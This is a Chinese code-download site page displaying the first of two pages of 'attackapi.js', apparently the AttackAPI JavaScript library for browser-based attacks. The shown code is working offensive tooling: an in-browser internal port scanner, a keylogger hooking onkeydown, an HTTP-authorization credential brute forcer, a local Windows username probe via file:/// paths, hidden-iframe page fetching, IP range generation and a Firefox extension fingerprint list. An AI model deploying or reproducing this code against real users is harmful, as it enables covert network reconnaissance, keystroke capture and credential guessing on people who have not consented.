⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 attackapi.js

📁 AttackAPI提供简单而直观的web可编程接口
💻 JS
📖 第 1 页 / 共 2 页
字号:
		enc2 = AttackAPI.Base64Encoder.character_space.indexOf(input.charAt(i++));
		enc3 = AttackAPI.Base64Encoder.character_space.indexOf(input.charAt(i++));
		enc4 = AttackAPI.Base64Encoder.character_space.indexOf(input.charAt(i++));

		chr1 = (enc1 << 2) | (enc2 >> 4);
		chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
		chr3 = ((enc3 & 3) << 6) | enc4;

		output = output + String.fromCharCode(chr1);

		if (enc3 != 64) {
			output = output + String.fromCharCode(chr2);
		}
		if (enc4 != 64) {
			output = output + String.fromCharCode(chr3);
		}
	} while (i < input.length);
	
	return output;
};
AttackAPI.PortScanner = {};
AttackAPI.PortScanner.scan = function (callback, target, ports, timeout) {
	var timeout = (timeout == null)?100:timeout;
	var checkSinglePort = function (target, port) {
		var img = new Image();
		img.onload = img.onerror = function () {
			if (!img) return;
			img = undefined;
			callback(target, port, true);
		};
		img.src = 'http://' + target + ':' + port;
		
		setTimeout(function () {
			if (!img) return;
			img = undefined;
			callback(target, port, false);
		}, timeout);
	};
	
	for (index = 0; index < ports.length; index++)
 		checkSinglePort(target, ports[index]);
};
AttackAPI.PortScanner.lazyScan = function (callback, target, ports, protocols) {
	var links = [];
	var protocols = (protocols == null)?['ftp', 'http', 'https']:protocols;
	
	for (index = 0; index < ports.length; index++) {
		for (zindex = 0; zindex < protocols.length; zindex++) {
			var link = new String(protocols[zindex] + '://' + target + ':' + ports[index]);
			link.target = target;
			link.port = ports[index];
			links.push(link);
		}
	}
	
	AttackAPI.HistoryDumper.lazyDump(function (link, status) {
		callback(link.target, link.port, status);
	}, links);
};
AttackAPI.KeyLogger = {};
AttackAPI.KeyLogger.install = function (callback, target, delay) {
	var target = (target == undefined)?window:target;
	var delay = (delay == undefined)?0:delay;
	
	setTimeout(function () {
		var onkeydown = target.onkeydown;
		target.onkeydown = function (e) {
			var e = (e == undefined)?window.event:e;
			
			callback(e.keyCode?e.keyCode:e.which, e);
			
			if (onkeydown)
				return onkeydown(e);
				
			return true;
		};
	}, delay);
};
AttackAPI.AuthorizationForcer = {};
AttackAPI.AuthorizationForcer.lazyForce = function (callback, target, credentials) {
	var links = [];
	var protocol = target.substring(0, target.indexOf(':'));
	var url = target.substring(target.indexOf(':') + 3);
	
	for (index = 0; index < credentials.length; index++) {
		var link = new String(protocol + '://' + credentials[index] + '@' + url);
		link.target = target;
		link.credential = credentials[index];
		links.push(link);
	}
	
	AttackAPI.HistoryDumper.lazyDump(function (link, status) {
		callback(link.target, link.credential, status);
	}, links);
};
AttackAPI.UsernameScanner = {};
AttackAPI.UsernameScanner.scan = function (callback, usernames) {
	var URLs = [];
	
	for (var index = 0; index < usernames.length; index++) {
		var URL = new String('file:///C:/Documents and Settings/'+ usernames[index] + '/SendTo/desktop.ini');
		URL.username = usernames[index];
		URLs.push(URL);
	}
		
	AttackAPI.URLScanner.scriptScan(function (URL, status) {
		callback(URL.username, status);
	}, URLs);
};
AttackAPI.RequestBuilder = {};
AttackAPI.RequestBuilder.build = function () {
	var request;
	
	if (window.XMLHttpRequest) {
		request = new XMLHttpRequest();
	} else if (window.createRequest) {
		request = window.createRequest();
	} else if (window.ActiveXObject) {
		try {
			request = new ActiveXObject("Msxml2.XMLHTTP");
		} catch (e) {
			try {
				request = new ActiveXObject("Microsoft.XMLHTTP");
			} catch (e) {}
		}
	}
	
	if (!request)
		throw 'request implementation not found';
	
	return request;
};
AttackAPI.GoogleSearch = {};
AttackAPI.GoogleSearch.callbacks = {};
AttackAPI.GoogleSearch.search = function (callback, query, key, context) {
	var key = (key == undefined)?'internal-documentation':key;
	var context = (context == undefined)?0:context;
	var index = (AttackAPI.GoogleSearch.callbacks.index == undefined)?1:AttackAPI.GoogleSearch.callbacks.index + 1;
	
	var script = document.createElement('script');
	script.type = 'text/javascript';
	script.defer = true;
	script.src = 'http://www.google.com/uds/GwebSearch?callback=AttackAPI.GoogleSearch.callbacks.callback' + index + '&context=' + context + '&lstkp=0&rsz=large&hl=en&q=' + query + '&key=' + key + '&v=0.1';
	
	AttackAPI.GoogleSearch.callbacks['callback' + index] = function (context, results, status) {
		document.body.removeChild(script);
		delete AttackAPI.GoogleSearch.callbacks['callback' + index];
		callback(results, query, key, context, status);
	};
	
	document.body.appendChild(script);
	AttackAPI.GoogleSearch.callbacks.index = index;
};
AttackAPI.NetworkCalculator = {};
AttackAPI.NetworkCalculator.IPToNumber = function (ip) {
	var octets = ip.split('.');
	return (16777216 * octets[0]) + (65536 * octets[1]) + (256 * octets[2]) + Number(octets[3]);
};
AttackAPI.NetworkCalculator.numberToIP = function (number) {
	return Math.floor(number/16777216)%256 + '.' +
	       Math.floor(number/65536)%256 + '.' +
		   Math.floor(number/256)%256 + '.' +
		   Math.floor(number)%256;
};
AttackAPI.NetworkCalculator.CIDRToRange = function (cidr) {
	var tokens = cidr.split('/');
	var start = AttackAPI.NetworkCalculator.IPToNumber(tokens[0]);
	var stop = Math.pow(2, 32 - tokens[1]) + start - 1;
	return {start: start, stop: stop};
};
AttackAPI.NetworkCalculator.RANGEToRange = function (range) {
	var tokens = range.split('-');
	var start = AttackAPI.NetworkCalculator.IPToNumber(tokens[0].replace(/^\s+/g, '').replace(/\s+$/g, ''));
	var stop = AttackAPI.NetworkCalculator.IPToNumber(tokens[1].replace(/^\s+/g, '').replace(/\s+$/g, ''));
	return {start: start, stop: stop};
};
AttackAPI.NetworkCalculator.generateIPs = function (range) {
	var IPs = [];
	
	if (range.indexOf('/') != -1) var range = AttackAPI.NetworkCalculator.CIDRToRange(range);
	else var range = AttackAPI.NetworkCalculator.RANGEToRange(range);
	
	for (index = range.start; index <= range.stop; index++)
		IPs.push(AttackAPI.NetworkCalculator.numberToIP(index));
		
	return IPs;
};
AttackAPI.URLFetcher = {};
AttackAPI.URLFetcher.fetch = function (callback, URL, timeout) {
	var timeout = (timeout == undefined)?1000:timeout;
	var request = AttackAPI.RequestBuilder.build();
	request.onreadystatechange = function () {
		if (request.readyState == 4) {
			clearTimeout(timer);
			callback(URL, request.responseText, request.status);
		}
	};
	request.open('GET', URL, true);
	request.send(null);
	
	var timer = setTimeout(function () {
		request.abort();
		callback(URL, '', 408);
	}, timeout);
};
AttackAPI.URLFetcher.iframeFetch = function (callback, URL, timeout) {
	var timeout = (timeout == undefined)?1000:timeout;
	var iframe = document.createElement('iframe');
	iframe.style.visibility = 'hidden';
	iframe.src = URL;
	iframe.onload = function () {
		clearTimeout(timer);
		
		var content = '';
		if (iframe.contentDocument) {
			content = iframe.contentDocument.body.innerHTML;
		} else if (iFrameEl.contentWindow) {
			content = iframe.contentWindow.document.body.innerHTML;
		} else if (iFrameEl.document) {
			content = iframe.document.body.innerHTML;
		}
		
		iframe.src = '';
		document.body.removeChild(iframe);
		callback(URL, content, true);
	};
	
	document.body.appendChild(iframe);
	
	var timer = setTimeout(function () {
		iframe.src = '';
		document.body.removeChild(iframe);
		callback(URL, undefined, false);
	}, timeout);
};
AttackAPI.URLFetcher.liveJavaFetch = function (callback, URL) {
	var data = null;
	var destination = new java.net.URL(URL);
	var buffer = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 65536);
	var stream = destination.getContent();
	
	while (true) {
		var count = stream.read(buffer);
		
		if (count <= 0)
			break;
			
		var str = new java.lang.String(buffer, 0, count);
		data += str;
	}
	
	stream.close();
	callback(URL, data);
};
AttackAPI.Signatures = {};
AttackAPI.Signatures.extensions = [
	{ name: 'Adblock Plus', src: 'chrome://adblockplus/skin/adblockplus.png' },
	{ name: 'Auto Copy', src: 'chrome://autocopy/skin/autocopy.png' },
	{ name: 'ColorZilla', src: 'chrome://colorzilla/skin/logo.png' },
	{ name: 'Customize Google', src: 'chrome://customizegoogle/skin/32x32.png' },
	{ name: 'DownThemAll!', src: 'chrome://dta/content/immagini/icon.png' },
	{ name: 'Faster Fox', src: 'chrome://fasterfox/skin/icon.png' },
	{ name: 'Flash Block', src: 'chrome://flashblock/skin/flash-on-24.png' },
	{ name: 'FlashGot', src: 'chrome://flashgot/skin/icon32.png' },
	{ name: 'Forecastfox', src: 'chrome://forecastfox/skin/images/icon.png' },
	{ name: 'Google Toolbar', src: 'chrome://google-toolbar/skin/icon.png' },
	{ name: 'Greasemonkey', src: 'chrome://greasemonkey/content/status_on.gif' },
	{ name: 'IE Tab', src: 'chrome://ietab/skin/ietab-button-ie16.png' },
	{ name: 'IE View', src: 'chrome://ieview/skin/ieview-icon.png' },
	{ name: 'JS View', src: 'chrome://jsview/skin/jsview.gif' },
	{ name: 'Live HTTP Headers', src: 'chrome://livehttpheaders/skin/img/Logo.png' },
	{ name: 'MeasureIt', src: 'chrome://measureit/skin/measureit.png' },
	{ name: 'SEO For Firefox', src: 'chrome://seo4firefox/content/icon32.png' },
	{ name: 'SEOpen', src: 'chrome://seopen/skin/seopen.png' },
	{ name: 'Search Status', src: 'chrome://searchstatus/skin/cax10.png' },
	{ name: 'Server Switcher', src: 'chrome://switcher/skin/icon.png' },
	{ name: 'StumbleUpon', src: 'chrome://stumbleupon/content/skin/logo32.png' },
	{ name: 'Tab Mix Plus', src: 'chrome://tabmixplus/skin/tmp.png' },
	{ name: 'Torrent-Search Toolbar', src: 'chrome://torrent-search/skin/v.png' },
	{ name: 'User Agent Switcher', src: 'chrome://useragentswitcher/content/logo.png' },
	{ name: 'View Source With', src: 'chrome://viewsourcewith/skin/ff/tb16.png' },
	{ name: 'Web Developer', src: 'chrome://webdeveloper/content/images/logo.png' }];

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -